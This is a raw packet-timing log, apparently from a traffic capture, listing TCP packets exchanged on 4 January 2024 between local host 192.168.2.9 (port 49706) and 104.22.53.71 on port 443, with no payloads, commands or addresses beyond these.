Jan 4, 2024 08:37:17.359675884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359675884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359683037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359715939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359724045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359743118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359767914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359772921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359797955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359811068 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359813929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359859943 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359863997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359872103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359878063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359930038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359935045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359952927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359970093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.359996080 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.359999895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360023022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360033035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360047102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360074997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360079050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360095978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360099077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360105991 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360137939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360142946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360166073 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360169888 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360184908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360229969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360239983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360244036 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360260010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360264063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360294104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360295057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360305071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360326052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360331059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360361099 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360364914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360388041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360408068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360414028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360416889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360456944 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360460997 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360475063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360507965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360511065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360533953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360541105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360559940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360582113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360585928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360610962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360614061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360620022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360676050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360680103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360688925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360733986 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360738039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360784054 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360790968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360805035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360874891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360886097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360893011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360909939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360948086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.360965014 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.360981941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361010075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361013889 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361036062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361043930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361062050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361064911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361083031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361093998 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361114979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361133099 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361138105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361174107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361179113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361238003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361242056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361249924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361278057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361291885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361296892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361300945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361325026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361325979 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361351967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361356020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361382008 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361407042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361409903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361421108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361442089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361454964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361459017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361488104 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361491919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361511946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361512899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361524105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361545086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361548901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361579895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361579895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361592054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361602068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361608028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361630917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361634016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361671925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361684084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361697912 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361700058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361705065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361731052 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361762047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361800909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361829042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361851931 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361855984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361876011 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361880064 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361897945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361898899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361907959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361931086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361951113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361964941 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.361968994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.361998081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362004042 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362009048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362030983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362040997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362045050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362060070 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362063885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362095118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362096071 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362108946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362121105 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362124920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362164021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362165928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362174988 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362201929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362212896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362217903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362237930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362240076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362258911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362292051 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362303972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362329960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362343073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362360954 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362386942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362390995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362410069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362417936 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362426043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362436056 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362440109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362466097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362493992 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362500906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362529039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362533092 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362550974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362556934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362565041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362591982 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362596035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362627983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362629890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362643957 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362656116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362659931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362694025 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362703085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362746000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362750053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362756014 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362770081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362801075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362806082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362829924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362843990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362854958 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362860918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362869024 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362886906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362915993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362921000 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362936974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362968922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362972975 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362982035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.362993956 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.362998962 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363044024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363049030 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363068104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363085032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363086939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363092899 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363127947 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363137007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363152981 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363154888 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363162041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363185883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363214016 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363221884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363235950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363281965 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363284111 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363354921 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363370895 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363372087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363379955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363420010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363449097 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363464117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363492966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363497019 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363502979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363531113 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363533974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363552094 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.363555908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.363581896 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.364033937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.365592957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.446959972 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.446989059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.447048903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.447058916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.447083950 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.447103977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.448139906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.448170900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.448216915 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.448220968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.448247910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.448267937 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.448911905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.448930979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.448997021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.449002028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.449055910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.449606895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.449629068 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.449683905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.449688911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.449750900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.450598955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.450614929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.450669050 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.450674057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.450746059 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.451373100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.451389074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.451442957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.451447964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.451498985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.452143908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.452162027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.452208042 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.452214003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.452241898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.452263117 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.453046083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.453063011 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.453115940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.453120947 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.453211069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.453994989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454016924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454052925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.454056978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454083920 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.454101086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.454652071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454668045 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454715967 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.454720974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.454828024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.455368042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.455384016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.455439091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.455444098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.455485106 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.456243038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.456257105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.456310987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.456316948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.456386089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.457163095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457181931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457230091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.457235098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457312107 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.457871914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457890987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457941055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.457945108 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.457988977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.458694935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.458710909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.458764076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.458769083 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.458817959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.459517956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.459536076 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.459575891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.459579945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.459608078 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.459626913 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.460443020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.460458040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.460513115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.460516930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.460557938 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.461292982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.461309910 CET	443	49706	104.22.53.71	192.168.2.9
